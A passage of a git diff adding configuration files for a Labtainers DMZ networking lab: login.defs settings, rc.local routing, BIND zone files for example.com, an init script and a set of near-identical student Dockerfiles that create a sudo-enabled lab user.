file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/rc.local new file mode 100755 index 000000000..13435b33c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 198.18.1.2 +route del -host 172.17.0.1 + +echo "198.18.1.2" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/sbin/faux_init new file mode 100755 index 000000000..cbaed3c2d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/sbin/faux_init @@ -0,0 +1,20 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/mynotify.sh start +/etc/init.d/bind9 start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/var/cache/bind/198.18.1.0 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/var/cache/bind/198.18.1.0 new file mode 100755 index 000000000..bab760a4b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/var/cache/bind/198.18.1.0 @@ -0,0 +1,14 @@ +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) +@ IN NS ns.example.com. + +101 IN PTR www.example.com. +102 IN PTR mail.example.com. +10 IN PTR ns.example.com. + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/var/cache/bind/example.com.db b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/var/cache/bind/example.com.db new file mode 100755 index 000000000..4b8e302cb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dns/_system/var/cache/bind/example.com.db @@ -0,0 +1,16 @@ +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) + +@ IN NS ns.example.com. +@ IN MX 10 mail.example.com. + +www IN A 198.18.1.WEB_IP +mail IN A 198.18.1.9 +ns IN A 198.18.1.3 +*.example.com. IN A 198.18.1.100 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.dns.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.dns.student new file mode 100644 index 000000000..0b5590bc5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.dns.student @@ -0,0 +1,67 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM mfthomps/labtainer.network +#FROM mfthomps/labtainer.centos +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends bind9 dnsutils +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.inner_gw.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.inner_gw.student new file mode 100644 index 000000000..9b5b7af9c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.inner_gw.student @@ -0,0 +1,62 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.isp.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.isp.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.isp.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.outer_gw.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.outer_gw.student new file mode 100644 index 000000000..1aebdc724 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.outer_gw.student @@ -0,0 +1,65 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends ulogd +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +# DO NOT add below this line. +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.remote_gw.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.remote_gw.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.remote_gw.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.remote_ws.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.remote_ws.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.remote_ws.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.web_server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.web_server.student new file mode 100644 index 000000000..fd8552774 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.web_server.student @@ -0,0 +1,64 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable rc-local +CMD ["/usr/sbin/init"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.ws1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.ws1.student new file mode 100644 index 000000000..5916486e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.ws1.student @@ -0,0 +1,61 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.ws2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.ws2.student new file mode 100644 index 000000000..661202aa5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.ws2.student @@ -0,0 +1,58 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.ws3.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.ws3.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-example/dockerfiles/Dockerfile.dmz-example.ws3.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar 